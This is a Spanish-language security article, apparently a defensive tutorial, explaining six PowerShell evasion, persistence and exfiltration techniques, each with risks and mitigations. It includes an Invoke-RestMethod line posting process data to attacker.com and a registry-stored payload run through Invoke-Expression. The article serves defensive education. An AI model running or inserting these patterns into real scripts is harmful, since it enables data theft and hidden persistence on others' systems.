PowerShell es una de las herramientas más potentes del ecosistema Windows, ampliamente utilizada tanto por administradores legítimos como por actores maliciosos. Su flexibilidad, capacidad de automatización y acceso profundo al sistema lo convierten en un entorno ideal para tareas administrativas, pero también para técnicas avanzadas de evasión y persistencia.
A continuación se analizan varias técnicas habituales que pueden aparecer en auditorías, pruebas de penetración o ataques reales, así como su funcionamiento y las implicaciones de seguridad que conllevan.
1. Ofuscación mediante variables de entorno
Ejemplo:
$env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable
Esta técnica consiste en almacenar un comando dentro de una variable de entorno y posteriormente ejecutarlo mediante Invoke-Expression. Su finalidad es ofuscar la intención del script y dificultar la revisión manual o automatizada del código.
Riesgos y consideraciones de seguridad
- La ofuscación puede pasar desapercibida para herramientas de monitorización básicas.
Invoke-Expressiones especialmente sensible al abuso, ya que ejecuta código dinámico.- Los registros de PowerShell pueden revelar la actividad si se tiene habilitado PowerShell Logging (Script Block Logging, Module Logging, etc.).
Mitigación
- Activar la auditoría avanzada de PowerShell.
- Bloquear o alertar el uso de
Invoke-Expression. - Deshabilitar la ejecución de scripts no firmados en entornos críticos.
2. Renombrado de funciones para evasión
Ejemplo:
Function MyGetProc { Get-Process }; MyGetProc
Aquí se redefine una función legítima con un nombre diferente para ocultar su propósito real. Esta técnica pretende disminuir la visibilidad en análisis estáticos o herramientas de detección basadas en patrones.
Riesgos
- Oculta la llamada real al comando.
- Puede incorporarse dentro de cargas más complejas para ocultar comportamientos maliciosos.
Mitigación
- Revisar el contenido de las funciones definidas dinámicamente en scripts.
- Utilizar soluciones EDR capaces de analizar el comportamiento, no solo el nombre de las funciones.
3. Uso de clases para ocultar código
Ejemplo:
class HiddenCode { [string] Run() { return 'Hidden command executed' } };
$instance = [HiddenCode]::new();
$instance.Run()
PowerShell permite definir clases, y esta característica puede emplearse para encapsular código que pase más inadvertido que las funciones tradicionales.
Ventajas para un atacante
- El código malicioso queda oculto dentro de un cuerpo de clase.
- Reduce la detección por herramientas que solo analizan funciones o comandos explícitos.
Mitigación
- Monitorizar la creación de clases dinámicas en scripts sospechosos.
- Aplicar políticas de ejecución que impidan scripts no firmados.
4. Uso del Registro de Windows para persistencia
Ejemplo:
$path = 'HKCU:\Software\MyApp';
New-Item -Path $path -Force;
New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force;
$regValue = Get-ItemProperty -Path $path -Name 'Config';
Invoke-Expression $regValue.Config
El Registro de Windows es un lugar habitual para almacenar configuraciones… y también payloads ofuscados. Una vez guardado, el código puede ser ejecutado posteriormente mediante PowerShell.
Riesgos
- Facilita persistencia sin archivos visibles (fileless).
- HKCU suele tener menos restricciones que otras ramas del Registro.
- Difícil de detectar sin auditorías regulares del Registro.
Mitigación
- Revisar claves sospechosas en rutas como
Run,RunOncey claves personalizadas. - Usar herramientas como Autoruns.
- Bloquear ejecución desde datos obtenidos del Registro salvo casos estrictamente controlados.
5. Exfiltración de datos mediante canales externos
Ejemplo:
$data = Get-Process | ConvertTo-Json;
Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data
La exfiltración de información mediante peticiones HTTP/HTTPS es una técnica común debido a que el tráfico web suele ser permitido en la mayoría de redes.
Riesgos
- Puede evadir sistemas básicos de DLP si la comunicación está cifrada.
- El JSON permite estructurar grandes volúmenes de datos.
Mitigación
- Inspeccionar tráfico saliente, especialmente POST hacia dominios no autorizados.
- Implementar proxies con inspección de contenido.
- Crear listas blancas de destinos permitidos.
6. Acceso a WMI para operaciones discretas
Ejemplo:
$query = 'SELECT * FROM Win32_Process';
Get-WmiObject -Query $query
WMI es una interfaz poderosa para consultar y manipular información del sistema. Muchos actores maliciosos la utilizan porque genera menos ruido que comandos directos en PowerShell.
Riesgos
- Usada habitualmente en ataques “living off the land”.
- Permite ejecutar consultas, lanzar procesos o acceder a datos del sistema.
Mitigación
- Habilitar WMI logging.
- Restringir el acceso WMI a cuentas no privilegiadas.
- Usar EDR con inspección específica de actividad WMI.
Conclusión
Las técnicas descritas ilustran cómo características legítimas de PowerShell pueden emplearse para ofuscación, persistencia y evasión. Conocer estos métodos es esencial tanto para la defensa de sistemas como para auditorías de seguridad.
